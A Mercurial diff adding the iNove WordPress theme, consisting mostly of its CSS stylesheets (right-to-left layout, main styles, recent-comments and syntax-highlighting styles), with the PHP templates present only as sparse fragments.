+#menus li a.home { + background-position:100% -93px; + margin-right:0; + padding:0; +} +#menus li a.home:hover { + background-position:100% -124px; +} +#menus li.current_page_item a.home { + background-position:100% -155px; +} +#menus li a.lastmenu:hover { + background-position:100% 0; +} +#menus li li a { + padding-right:10px; + padding-left:18px; +} +#menus li li a.subtitle, +#menus li li a.subtitle:hover { + background-image:url(imgrtl/arrow.gif); + background-position:left; +} +#searchbox { + background: url(imgrtl/searchbox.gif) no-repeat; + float:left; + margin-right:0; + margin-left:10px !important; + margin-left:5px; +} +#searchbox .textfield { + float:right; +} +/* header END */ + +/* content START */ +#content { + background:#FFF url(imgrtl/sidesep.gif) left repeat-y; +} +/* content END */ + +/* main START */ +#main { + float:right; +} +.post .date, +.post .author, +.post .editpost, +.post .readingblinds, +.post .comments, +.post .addcomment, +.post .addlink, +.post .editlinks { + background-position:100% 0; + padding-left:0; + padding-right:22px; +} +.post .tags, +.post .categories { + background:url(img/icons.gif) no-repeat; + padding-left:0; +} +.post .content .under span.tags, +.post .content .under span.categories { + margin-left:6px; +} +.post .act { + float:left; +} +.post .act span { + float:right; + margin-left:0; + margin-right:15px; +} +.post .tags { + background-position:100% -400px; +} +.post .categories { + background-position:100% -480px; +} +.post .author { + background-position:100% 0px; +} +.post .date { + background-position:100% -48px; + margin-right:0; + margin-left:15px; + float:right; +} +.post .author { + float:right; +} +.post .editpost { + background-position:100% -64px; + margin-left:0; + margin-right:15px; + float:left; +} +.post .comments { + background-position:100% -96px; + float:left; +} +.post .addcomment { + background-position:100% -112px; + margin-left:0; + margin-right:15px; + float:left; +} +.post .addlink { + background-position:100% -176px; +} +.post .editlinks { + background-position:100% -192px; +} +.post .content .under { + padding-left:0; + padding-right:5px; +} +.post .content .under span { + float:right; + margin-left:15px; + margin-right:0; +} +#postpath { + background:url(imgrtl/path.gif) right no-repeat; + padding-left:0; + padding-right:22px; +} +#pagenavi .newer a, +#postnavi .prev a { + background-position:100% -240px; + padding-left:0; + padding-right:22px; + float:right; +} +#pagenavi .older a, +#postnavi .next a { + background-position:0 -224px; + padding-left:22px; + padding-right:0; + float:left; +} +/* main END */ + +/* sidebar START */ +#sidebar { + float:left; +} +#sidebar li { + background-position:100% -560px; + padding-left:0; + padding-right:22px; + margin-top:5px; + /*font-size:95%;*/ +} +#sidebar #feedrss, +#sidebar #feedemail, +#sidebar #followme { + padding:5px 31px 5px 5px; + float:right; +} +#sidebar #feedrss { + background: url(img/feeds.gif) 100% 5px no-repeat; + margin-right:5px; +} +#sidebar #feedemail { + background: url(img/feeds.gif) 100% -45px no-repeat; + margin-left:0; + margin-right:15px; +} +#sidebar #followme { + background: url(img/feeds.gif) 100% -95px no-repeat; + margin-left:0; + margin-right:15px; +} +#subscribe li { + float:right; + margin:0; + padding:0; +} +/* sidebar END */ + +/* footer START */ +a#powered { + float:right; + margin:0 5px 0 10px; +} +a#gotop { + background-position:100% -304px; + float:left; + padding-left:0; + padding-right:16px; + margin:5px 0 0 15px !important; + margin:5px 0 0 8px; +} +/* footer END */ + +/* comment START */ +#cmtswitcher a.tab, +#cmtswitcher a.curtab { + float:left; +} +#cmtswitcher .addcomment, +#cmtswitcher .addtrackback { + padding-left:0; + padding-right:22px; + float:right; + margin-left:15px; + margin-right:0; +} +#cmtswitcher .addcomment { + background-position:100% -112px; +} +#cmtswitcher .addtrackback { + background-position:100% -144px; +} +.comment .author { + float:right; +} +.comment .pic { + background:url(img/commentpoint.png) 0% 33% no-repeat; + padding-right:0; + padding-left:14px; +} +.comment .name { + padding-right:0; + padding-left:14px; +} +.admincomment .author { + float:left; + width:81px; + text-align:center; +} +.admincomment .pic { + background:url(img/commentpoint.png) 100% 33% no-repeat; + padding-right:14px; + padding-left:0; + margin-top:10px; +} +.admincomment .name { + width:67px; + padding-right:14px; + font-weight:bolder; + overflow:hidden; +} +.admincomment .info { + float:left; +} +#emoticon { + float:left; + margin-left:10px; + margin-right:0; +} +#commentnavi span.pages { + background-position:100% -272px; + padding:0 22px 0 7px; + float:right; +} +#submitbox a.feed { + background-position:100% -256px; + padding-left:0; + padding-right:22px; + float:right; +} +#submitbox .submitbutton { + float:left; +} +/* comment END */ + +/* linkcat START */ +.post .content .linkcat ul li { + float:right; +} +.post .content .linkcat ul li a { + background-position:100% -160px; + padding:0; + padding-right:22px; +} +/* linkcat END */ + +/* image switcher START */ +a.imageswitcher_button { + float:right; +} +/* image switcher END */ \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/screenshot.png Binary file web/wp-content/themes/inove/screenshot.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/search.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/search.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/sidebar.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/sidebar.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,179 @@ + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/single.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/single.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,72 @@ + + + + + +
    + + > + > +
    + +
    +

    +
    + + + ', ''); ?> + + + + +
    +
    +
    + +
    +
    +
    + + +
    +
    + + + '; + wp23_related_posts(); + echo '
    '; + echo '
    '; + } + /* + // when related posts without title + if(function_exists('wp23_related_posts')) { + echo '
    '; + echo '

    Related Posts

    '; + echo '
    '; + echo ''; + echo '
    '; + } + */ + ?> + + + + +
    + + +
    +
    + + +
    + +
    + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1217 @@ +/* +Theme Name: iNove +Theme URI: http://wordpress.org/extend/themes/inove/ +Description: Inspired by MacZone.sk, created by mg12. It is very stylish, widget supported and doesn’t require any plugin. +Version: 1.4.6 +Author: mg12 +Author URI: http://www.neoease.com/ +Tags: white, light, two-columns, fixed-width, theme-options, right-sidebar +*/ + +/* static START */ +body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,textarea,blockquote,p,fieldset { + margin:0; + padding:0; +} +abbr[title], acronym[title] { + border-bottom:thin dotted; + cursor:help; +} +body { + background:#BEC3C6 url(img/bg.jpg) repeat-x; + color:#555; + font-family:Verdana,"BitStream vera Sans",Tahoma,Helvetica,Sans-serif; + font-size:12px; +} +h1, h2, h3, h4, h5, h6 { + font-weight:bold; + letter-spacing:-0.05em; + font-family:Arial; +} +h1 {font-size:200%;} +h2 {font-size:170%;} +h3 {font-size:150%;} +h4 {font-size:130%;} +h5 {font-size:110%;} +h6 {font-size:100%;} +img { + border:0; +} +img.sided { + background:#FFF; + border:2px solid #CCC; + padding:3px; +} +small { + font-size:10px; +} +a:hover img.sided { + border-color:#A6A6A6; +} +a { + color:#2970A6; + text-decoration:none; +} +a:hover { + text-decoration:underline; +} +.wp-caption { + background:#F7F7F7; + border:1px solid #CCC; + padding:5px 0; + margin-bottom:5px; + text-align:center; +} +.wp-caption img { + margin:0 5px; +} +.wp-caption-text { + text-align:center; + padding:0 5px !important; + padding:3px 5px 0; +} +*+html .wp-caption-text { + padding:3px 5px 0 !important; +} +.post .content .wp-caption p { + margin:0; +} +blockquote, pre { + background:#F4F5F7 url(img/blockquote.gif) 3px 3px no-repeat; + border:1px dashed #CCC; + padding:8px 12px 8px 36px; + margin:5px 0; +} +.more-link { + font-size:11px; +} +.alignleft { + float:left; + text-align:left; + margin-right:10px; +} +.alignright { + float:right; + text-align:right; + margin-left:10px; +} +.aligncenter { + display: block; + margin-left: auto; + margin-right: auto; +} +.floatleft { + float:left; +} +.floatright { + float:right; +} +.left { + float:left; + margin-right:10px; +} +.right { + float:right; + margin-left:10px; +} +.fixed, .clear { + clear:both; +} +input.textfield, +textarea { + background:#FFF url(img/textfield.gif) top repeat-x; + border:1px solid #A6A6A6; + padding:2px 1px; + font-size:12px; + font-family:Verdana,"BitStream vera Sans",Tahoma,Helvetica,Sans-serif; +} +.boxcaption { + background:#E3E4E6 url(img/box.gif) 0 0 no-repeat; + padding:6px 12px; + border-bottom:1px solid #CCC; +} +.boxcaption h3 { + font-size:12px; + font-family:Verdana,"BitStream vera Sans",Tahoma,Helvetica,Sans-serif; + letter-spacing:0em; +} +.box { + background:#F4F5F7 url(img/box.gif) 100% 100% no-repeat; + padding:8px 12px; + margin-bottom:10px; +} +.messagebox, +.errorbox { + background:#EDEFF0 url(img/messagebox.gif) no-repeat; + padding:0 12px; + height:27px; + line-height:27px; + font-size:11px; +} +.w3c { + color:#080; + font-size:10px; +} +/* static END */ + +/* layout START */ +#wrap { + background:url(img/light.gif) center top no-repeat; + padding:20px 0; +} +#container { + margin:0 auto; + width:936px; +} +/* layout END */ + +/* header START */ +#header { + background:url(img/header.jpg) 0 0 no-repeat; + height:90px; + border-bottom:1px solid #A6A6A6; + overflow:hidden; +} +#caption { + padding:25px 30px 0; +} +#title a { + text-decoration:none; + color:#FFF; + height:30px; + display:block; + font-family:"Trajan Pro"; + letter-spacing:0; +} +/* image blog title */ +/* +#title a { + background:url(img/title.gif) no-repeat; + text-decoration:none; + color:#FFF; + width:250px; + height:30px; + text-indent:-999em; + display:block; +} +*/ +#tagline { + color:#FFF; + border-top:1px solid #FFF; + text-decoration:none; + font-size:10px; + float:left; + padding:0 3px; +} +#header .banner { + float:right; + padding:15px 15px 0; + color:#999; +} +/* header END */ + +/* navigation START */ +#navigation { + background:#FFF; + border-bottom:1px solid #A6A6A6; +} +#menus li { + display:inline; + list-style:none; +} +#menus li a { + background:transparent url(img/menu.gif) no-repeat; + display:block; + color:#382E1F; + height:31px; + line-height:31px; + padding:0 20px; + margin-left:-10px; + text-decoration:none; + font-size:11px; + float:left; + z-index:1; +} +#menus li a:hover, +#menus li a.current { + background-position:0 -31px; +} +#menus li.current_page_item a, +#menus li.current-cat a { + background-position:0 -62px; +} +#menus li a.home { + background-position:0 -93px; + width:45px; + padding:0; + margin-left:0; + text-indent:-999em; +} +#menus li a.home:hover { + background-position:0 -124px; +} +#menus li.current_page_item a.home { + background-position:0 -155px; +} +#menus li a.lastmenu:hover { + background-position:0 0; + cursor:default; +} +#searchbox { + background: url(img/searchbox.gif) no-repeat; + width:209px; + height:21px; + display:block; + float:right; + margin-top:4px; + margin-right:10px !important; + margin-right:5px; + padding:3px 2px; +} +#searchbox .textfield { + background:none; + border:0px; + width:185px; + float:left; + margin-right:2px; + padding-left:2px; +} +#searchbox .button { + background:none; + border:0px; + width:18px; + height:18px; + cursor:pointer; + float:left; + margin-top:1px; +} +#searchbox .searchtip { + color:#999; +} +/* navigation END */ + +/* submenu START */ +#menus li ul { + display:none; + background:#F4F5F7; + border:solid #A6A6A6; + border-width:1px 1px 0; + line-height:0; + position:absolute; + z-index:1; +} +#menus li li { + float:none; + margin:0; + padding:0; + list-style:none; +} +#menus li li a { + float:none; + padding:7px 18px 7px 10px; + text-decoration:none; + border-bottom:1px solid #DDD; + margin:0; + background-image:none; + height:auto; + line-height:145%; + color:#999; + display:block; + width:175px; +} +#menus li li a.last { + border-color:#A6A6A6; +} +#menus li li a:hover, +#menus li li a.current { + background-color:#EDEFF0; + color:#382E1F; +} +#menus li li a.subtitle, +#menus li li a.subtitle:hover { + background-image:url(img/arrow.gif); + background-position:right; + background-repeat:no-repeat; +} +/* submenu END */ + +/* content START */ +#content { + background:#FFF url(img/sidesep.gif) right repeat-y; + min-height:400px; +} +/* content END */ + +/* main START */ +#main { + background:#FFF url(img/main_shadow.gif) top repeat-x; + width:605px; + padding:13px 15px 15px; + float:left; + overflow:hidden; +} +#notice { + color:#080; +} +#notice a { + text-decoration:underline; +} +.post { + padding-bottom:5px !important; + padding-bottom:15px; +} +*+html .post { + padding-bottom:15px !important; +} +.post h2 { + display:block; + margin-top:10px; + border-bottom:1px solid #CCC; + padding:0 5px 3px; + font-size:16px; + font-family:Verdana,"BitStream vera Sans"; +} +.post h2 a.title { + text-decoration:none; + color:#4C4C4C; +} +.post h2 a.title:hover { + color:#2970A6; +} +.post h2 .act a { + font-weight:normal; +} +.post .info { + margin:5px; +} +.post .info span.first { + margin-left:0; +} +.post .date, +.post .author, +.post .editpost, +.post .comments, +.post .addcomment, +.post .addlink, +.post .editlinks { + background:url(img/icons.gif) no-repeat; + padding-left:22px; + height:16px; + line-height:16px; + display:block; + font-size:11px; +} +.post .tags, +.post .categories { + background:url(img/icons.gif) no-repeat; + width:16px; + height:16px; + line-height:16px; + display:block; + text-indent:-999em; +} +.post .under span.tags, +.post .under span.categories { + margin-right:6px; +} +.post .act { + height:16px; + float:right; +} +.post .act span { + float:left; + margin-left:15px; +} +.post .tags { + background-position:0 -400px; +} +.post .categories { + background-position:0 -480px; +} +.post .date { + background-position:0 -48px; + margin-right:15px; + float:left; +} +.post .author { + background-position:0 0; + float:left; +} +.post .editpost { + background-position:0 -64px; + margin-left:15px; + float:right; +} +.post .comments { + background-position:0 -96px; + float:right; +} +.post .addcomment { + background-position:0 -112px; + margin-left:15px; + float:right; +} +.post .addlink { + background-position:0 -176px; +} +.post .editlinks { + background-position:0 -192px; +} +.post .content { + padding:5px 0 0 5px; + line-height:145%; + overflow:hidden; +} +.post .content p { + margin-bottom:10px; +} +.post .under { + height:16px; + line-height:16px; + font-size:11px; + margin-bottom:10px; +} +.post .under span { + float:left; + margin-right:15px; +} +.post .content h4 { + color:#080; + margin-bottom:10px; +} +.post .content img { + max-width:600px; +} +.post .content ul, +.post .content ol { + padding-bottom:10px; +} +.post .content ul li, +.post .content ol li { + list-style-position:inside; + padding-left:20px; +} +.post .content table { + background:#FFF; + border:2px solid #CCC; + border-collapse:collapse; + margin:5px 0 10px; +} +.post .content th, +.post .content td { + border:1px solid #CCC; + padding:3px 10px; + text-align:left; + vertical-align:top; +} +.post .content tr.even td { + background:#F7F7F7; +} +.post .content th { + background:#EDEFF0; +} +.post .content .boxcaption { + background-image:url(img/postbox.gif); +} +.post .content .box { + background-image:url(img/postbox.gif); +} +#postpath { + background:url(img/icons.gif) 0 -320px no-repeat; + line-height:16px; + margin:5px 0; + padding-left:22px; +} +#pagenavi, +#postnavi { + border-top:1px solid #CCC; + margin:10px -5px 0; + padding:10px 5px 0; +} +#pagenavi { + font-size:11px; +} +#pagenavi .newer a, +#postnavi .prev a { + background:url(img/icons.gif) 0 -224px no-repeat; + padding-left:22px; + float:left; + height:16px; + line-height:16px; +} +#pagenavi .older a, +#postnavi .next a { + background:url(img/icons.gif) 100% -240px no-repeat; + padding-right:22px; + float:right; + height:16px; + line-height:16px; +} +/* main END */ + +/* sidebar START */ +#sidebar { + background:#F7F7F7 url(img/sidebar_shadow.gif) top repeat-x; + width:300px; + float:right; + font-size:95%; + line-height:145%; + overflow:hidden; + padding-top:8px; +} +#sidebar li { + background:url(img/icons.gif) 0 -560px no-repeat; + padding-left:22px; + list-style:none; + margin-top:5px; + /*font-size:95%;*/ +} +#sidebar .content, +#sidebar li { + font-size:12px; +} +#centersidebar, +#northsidebar .widget, +#southsidebar .widget { + background:url(img/widgetsep.png) bottom no-repeat; + padding:10px 15px 16px; +} +#centersidebar { + padding-bottom:6px; +} +#northsidebar, +#southsidebar { + font-size:95%; +} +#northsidebar .widget h2, +#southsidebar .widget h2 { + margin-bottom:10px; +} +#northsidebar .widget .content p, +#southsidebar .widget .content p { + margin-bottom:10px; +} +#westsidebar { + width:121px; + float:left; + padding-right:5px; + font-size:95%; + overflow:hidden; +} +#eastsidebar { + width:129px; + float:right; + font-size:95%; + overflow:hidden; +} +#westsidebar h3, +#eastsidebar h3 { + margin-bottom:5px; +} +#westsidebar .widget, +#eastsidebar .widget { + margin-bottom:15px; +} +#sidebar .widget_feeds { + padding:5px 15px 15px; +} +#sidebar #feedrss, +#sidebar #feedemail, +#sidebar #followme { + height:25px; + line-height:25px; + display:block; + padding:5px 5px 5px 36px; + float:left; + text-decoration:none; + font-size:11px; +} +#sidebar #feedrss { + background: url(img/feeds.gif) 5px 5px no-repeat; +} +#sidebar #feedemail { + background: url(img/feeds.gif) 5px -45px no-repeat; + margin-left:10px; +} +#sidebar #followme { + background: url(img/feeds.gif) 5px -95px no-repeat; + margin-left:10px; +} +#subscribe ul { + display:none; + position:absolute; + background:#F4F5F7; + border:1px solid #B7B7B7; + width:180px; + padding:5px; +} +#subscribe li { + background:transparent; + list-style:none; + float:left; + margin:0; + padding:0; + display:block; +} +#subscribe li a span { + background:url(img/readers.gif) no-repeat; + height:20px; + width:80px; + display:block; + text-indent:-999em; +} +#subscribe li#google_reader a span { + background-position:0 0; +} +#subscribe li#youdao_reader a span { + background-position:0 -20px; +} +#subscribe li#xianguo_reader a span { + background-position:0 -40px; +} +#subscribe li#zhuaxia_reader a span { + background-position:0 -60px; +} +#subscribe li#yahoo_reader a span { + background-position:0 -80px; +} +#subscribe li#newsgator_reader a span { + background-position:0 -100px; +} +#subscribe li#bloglines_reader a span { + background-position:0 -120px; +} +#subscribe li#inezha_reader a span { + background-position:0 -140px; +} +#subscribe li a { + display:block; + padding:5px; + text-decoration:none; + width:80px; + font-size:12px; +} +#subscribe li a:hover { + background:#EEDDCC; +} +#tag_cloud a { + line-height:130%; +} +/* sidebar END */ + +/* footer START */ +#footer { + background:url(img/footer.jpg) 0 0 no-repeat; + display:block; + height:88px; + border-top:1px solid #CCC; + font-size:11px; + line-height:145%; + width:100%; +} +#footer a { + color:#2A2A2A; +} +#copyright { + margin-top:12px; + margin-left:20px; +} +#themeinfo { + margin-left:20px; +} +a#powered { + background:url(img/wp-logo.png) no-repeat; + display:block; + width:92px; + height:57px; + float:left; + margin:0 10px 0 5px; + text-indent:-999em; +} +a#gotop { + background:url(img/icons.gif) 0 -304px no-repeat; + float:right; + height:16px; + line-height:18px; + display:block; + padding-left:16px; + margin:5px 15px 0 0 !important; + margin:5px 8px 0 0; + text-decoration:none; +} +/* footer END */ + +/* comment START */ +#commentlist { + background:#FCFCFC; + border-top:1px solid #CCC; + border-bottom:1px solid #CCC; + margin:0 -15px; + padding:0 15px; +} +#commentlist ol, +#commentlist li { + list-style:none; +} +#cmtswitcher { + background:#FFF; + font-size:10px; + padding-top:5px; +} +#cmtswitcher a.tab, +#cmtswitcher a.curtab { + padding:5px 10px; + margin-bottom:-1px; + display:block; + float:right; + color:#555; + text-decoration:none; +} +#cmtswitcher a.tab { + border:1px solid #FFF; + border-bottom-color:#CCC; +} +#cmtswitcher a.curtab { + background:#FCFCFC; + border:1px solid #CCC; + border-bottom-color:#FCFCFC; +} +#cmtswitcher .addcomment, +#cmtswitcher .addtrackback { + padding-left:22px; + height:16px; + line-height:16px; + display:block; + font-size:11px; + float:left; + margin-right:15px; + margin-top:4px !important; + margin-top:3px; +} +#cmtswitcher .addcomment { + background:url(img/icons.gif) 0 -112px no-repeat; +} +#cmtswitcher .addtrackback { + background:url(img/icons.gif) 0 -144px no-repeat; +} +#thecomments, +#thetrackbacks { + padding-bottom:15px; +} +#thecomments .comment, +#thecomments .messagebox { + margin-top:15px; +} +.comment .author { + float:left; + width:81px; + text-align:center; +} +.comment .pic { + background:url(img/commentpoint.png) 100% 33% no-repeat; + padding-right:14px; + margin-top:10px; +} +.comment .name { + width:67px; + padding-right:14px; + font-weight:bold; + overflow:hidden; +} +.comment .avatar { + padding:1px; + border:1px solid #999; +} +.comment .info { + background:#EDEFF0 url(img/comment.gif) 0 0 no-repeat; + float:left; + padding:10px 15px 0; + width:494px; +} +.comment .date, +.trackback .date { + float:left; + font-size:10px; +} +.comment .act, +.trackback .act { + float:right; + font-size:10px; +} +.comment .content { + background:url(img/comment.gif) 100% 100% no-repeat; + margin:0 -15px; + padding:0 15px 10px; + line-height:145%; +} +.comment .content p { + margin-top:10px; +} +.comment .content blockquote p { + margin-top:0; + margin-bottom:10px; +} +.admincomment .author { + float:right; +} +.admincomment .pic { + background:url(img/commentpoint.png) 0% 33% no-repeat; + padding-right:0; + padding-left:14px; +} +.admincomment .name { + padding-right:0; + padding-left:14px; +} +.admincomment .info { + float:right; +} +#comment_login { + margin-top:15px; +} +#thetrackbacks { + display:none; +} +#thetrackbacks li { + margin-top:15px; +} +.trackback { + background:#EDEFF0 url(img/box.gif) 0 0 no-repeat; + padding:10px 15px 0; + width:575px; +} +.trackback .title { + background:#EDEFF0 url(img/box.gif) 100% 100% no-repeat; + padding:10px 15px !important; + padding:0 15px 10px; + width:575px; + margin:0 -15px; +} +#respond { + padding:10px 0 0; + font-size:11px; +} +#respond .row { + margin-bottom:5px; +} +#respond .textfield { + width:200px; +} +#emoticon { + float:right; + margin-top:1px; + margin-right:10px; +} +#comment { + width:601px; +} +#commentnavi { + background:#EDEFF0 url(img/box.gif) 0 0 no-repeat; + padding:10px 15px; + font-size:11px; +} +#commentnavi a.page-numbers { + padding:5px 7px; + text-decoration:none; + border:1px solid #EDEFF0; + margin:0 -2px; +} +#commentnavi a.page-numbers:hover { + background:#F7F7F7; + border:1px solid #CCC; + text-decoration:none; +} +#commentnavi span.pages { + padding:0 7px 0 22px; + background:url(img/icons.gif) 0 -272px no-repeat; + height:16px; + line-height:16px; + float:left; +} +#commentnavi span.current { + background:#F7F7F7; + padding:5px 7px; + border:1px solid #F7F7F7; + font-weight:bold; + margin:0 -2px; +} +#commentnavi #commentpager { + line-height:16px; +} +#submitbox a.feed { + background:url(img/icons.gif) 0 -256px no-repeat; + padding-left:22px; + height:16px; + line-height:16px; + display:block; + float:left; +} +#submitbox #submit { + padding:3px 6px; + background:#B4D666; + border-top:1px solid #B4D666; + border-right:1px solid #81B840; + border-bottom:1px solid #81B840; + border-left:1px solid #B4D666; + color:#2970A6; + font-size:11px; + cursor:pointer; +} +#submitbox #submit:hover { + background:#98C64C; + border-top:1px solid #76B33A; + border-right:1px solid #98C64C; + border-bottom:1px solid #98C64C; + border-left:1px solid #76B33A; + color:#074A7E; +} +#submitbox .submitbutton { + float:right; +} +#cp_post_id { + display:none; +} +/* comment END */ + +/* calendar START */ +.widget_calendar h3 { + display:none; +} +#wp-calendar { + width:100%; +} +#wp-calendar #today { + background:#E6E6E6; +} +#wp-calendar tbody a { + font-weight:bold; +} +#wp-calendar caption { + font-family:Arial; + font-weight:bold; + letter-spacing:-0.05em; + font-size:150%; + text-align:left; + padding-bottom:5px; +} +#wp-calendar th, +#wp-calendar td { + text-align:center; +} +#wp-calendar tbody td { + border:1px solid #CCC; +} +#wp-calendar tbody td.pad { + border:0 none; +} +#wp-calendar th { + background:#999; + color:#FFF; +} +#wp-calendar td#prev { + text-align:left; + padding-top:5px; +} +#wp-calendar td#next { + text-align:right; + padding-top:5px; +} +/* calendar END */ + +/* linkcat START */ +.post .content .linkcat ul li { + list-style:none; + float:left; + width:25%; + padding:2px 0; + overflow:hidden; +} +.post .content .linkcat ul li a { + background:url(img/icons.gif) 0 -160px no-repeat; + padding-left:22px; + height:16px; + line-height:16px; +} +/* linkcat END */ + +/* related posts START */ +/* when related posts with title */ +#related_posts { + padding-bottom:10px; +} +#related_posts h3 { + background:#E3E4E6 url(img/box.gif) 0 0 no-repeat; + font-size:12px; + padding:6px 12px; + font-family:Verdana,"BitStream vera Sans",Arial,Helvetica,Sans-serif; + letter-spacing:0em; + border-bottom:1px solid #CCC; +} +#related_posts ul { + background:#F4F5F7 url(img/box.gif) 100% 100% no-repeat; + padding:3px 12px 8px; +} +#related_posts ul li { + list-style:none; + padding:3px 5px; + border-bottom:1px solid #E3E4E6; + line-height:18px; +} +#related_posts .count { + font-size:10px; +} +#related_posts .excerpt { + color:#999; + font-size:11px; + display:block; +} +/* when related posts without title */ +/* +#related_posts { + padding-top:3px; + padding-bottom:8px; +} +#related_posts ul li { + list-style:none; + padding:3px 5px; + border-bottom:1px solid #E3E4E6; + line-height:18px; +} +*/ +/* related posts END */ + +/* one-column START */ +.one-column #content { + background:#FFF; +} +.one-column #main { + width:906px; +} +.one-column #comment { + width:902px; +} +.one-column .trackback, +.one-column .trackback .title { + width:876px; +} +.one-column .comment .info { + width:795px; +} +.one-column .comment .info, +.one-column .comment .content { + background-image:url(img/comment_1col.gif); +} +.one-column .boxcaption, +.one-column .box, +.one-column .trackback, +.one-column .trackback .title, +.one-column #commentnavi, +.one-column #related_posts h3, +.one-column #related_posts ul { + background-image:url(img/box_1col.gif); +} +.one-column .messagebox, +.one-column .errorbox { + background-image:url(img/messagebox_1col.gif); +} +.one-column .post .content .boxcaption, +.one-column .post .content .box { + background-image:url(img/postbox_1col.gif); +} +/* one-column END */ + +/* thread twitter START */ +.post .twitter-tweedles { + background:#E2F2FB; + border:1px dashed #3FCDEB; + padding:10px 0 0; +} +.twitter ul { + margin:0 12px 0 10px !important; + margin:0 10px; +} +.post .content .twitter ul li { + background:#FCFCFC; + padding:0; + float:left; + list-style:none; + list-style-position:outside; + border:solid #CCC; + border-width:1px !important; + border-width:1px 0; + width:100%; + padding-top:10px; + margin-bottom:10px; +} +.twitter img { + float:left; + padding:0 10px 0 0; + margin:0 0 10px 10px; +} +.twitter_source { + color:#999; + font-family:georgia; + font-style:italic; + font-size:10px; +} +.twitter_source a { + color:#999; +} +.twitter_text { + margin-bottom:5px; + display:block; + padding-left:70px; + padding-right:10px; +} +.twitter_reply { + background: url(img/icons.gif) 0 -112px no-repeat; + padding-left:22px; + padding-right:10px; + height:16px; + line-height:16px; + display:block; + font-size:11px; + float:right; +} +.twitter .twitter_pagebar { + padding:0 10px; + font-size:11px; +} +.twitter .twitter_pagebar a { + background:#D1EAF9; + padding:2px 5px; + border:1px solid #D1EAF9; +} +.twitter .twitter_pagebar a:hover { + border:1px dashed #3FCDEB; + text-decoration:none; +} +.twitter .twitter_pagebar strong { + background:#A6D0E7; + padding:2px 5px; + border:1px solid #A6D0E7; +} +.post .content .thread_twitter_power_by { + display:block; + background:#D1EAF9; + border-top:1px dashed #3FCDEB; + margin-bottom:0; + padding:5px 10px; +} +.twitter .navigation { + padding:10px 5px; +} +#thread_twitter .loading { + padding:0 10px; + font-size:11px; +} +#status_update_form { + padding:0 10px 10px; +} +#status_update_form textarea { + width:574px; + display:block; + margin-bottom:10px; +} +/* thread twitter END */ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/templates/comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/templates/comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,7 @@ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/templates/header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/templates/header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,94 @@ + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/title_psd/title.psd Binary file web/wp-content/themes/inove/title_psd/title.psd has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/twitter.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/twitter.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,40 @@ + + + + + + + +
    +

    +
    + + ', ''); ?> + + + + +
    +
    +
    + +
    +
    + + +
    + +
    + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/wp-recentcomments.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/wp-recentcomments.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,68 @@ +#sidebar .rc_item, +#sidebar #rc_nav { + background:transparent; + line-height:145%; + padding:2px 0; +} +#sidebar #rc_nav { + height:16px; +} +.rc_item .rc_avatar { + line-height:1px; +} +.rc_item .rc_avatar img { + background:#FFF; + padding:1px; + border:1px solid #999; +} +.rc_item .rc_left { + display:inline; + float:left; + padding-right:7px !important; + padding-right:4px; +} +.rc_item .rc_right { + display:inline; + float:right; + padding-left:7px !important; + padding-left:4px; +} +.rc_item .rc_info .author_name { + font-weight:bold; +} +#sidebar #rc_nav { + padding-top:5px; +} +#rc_newest { + float:left; + padding-right:10px; +} +#rc_newer { + float:left; +} +#rc_older { + float:right; +} +.rc_fixed { + clear:both; +} +.rc_expand { + font-size:10px; +} +.rc_label { + font-weight:bolder; + font-size:10px; +} +.rc_back { + float:left; +} +.rc_datetime { + float:right; +} +.rc_ajax_loader { + background:url(img/ajax-loader.gif) left no-repeat; + padding-left:22px; + height:16px; + line-height:16px; + display:block; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/wp-syntax.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/wp-syntax.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,61 @@ +.wp_syntax { + margin-bottom:10px; + overflow:auto; + overflow-x:auto; + overflow-y:hidden; + width:100% !important; + width:99%; + background:#F7F7F7; + padding-bottom:0 !important; + padding-bottom:15px; + border:1px solid #CCC; +} +.comment .content .wp_syntax { + margin-top:10px; +} +*+html .wp_syntax { + padding-bottom:15px !important; +} +.wp_syntax div, .wp_syntax td { + vertical-align:top; + padding:2px 4px; +} +.wp_syntax .code { + color:#333; +} +.wp_syntax pre { + border:none; + background:none; + margin:0; + padding:0; + width:auto; + float:none; + clear:none; + overflow:visible; + font-size:12px; + 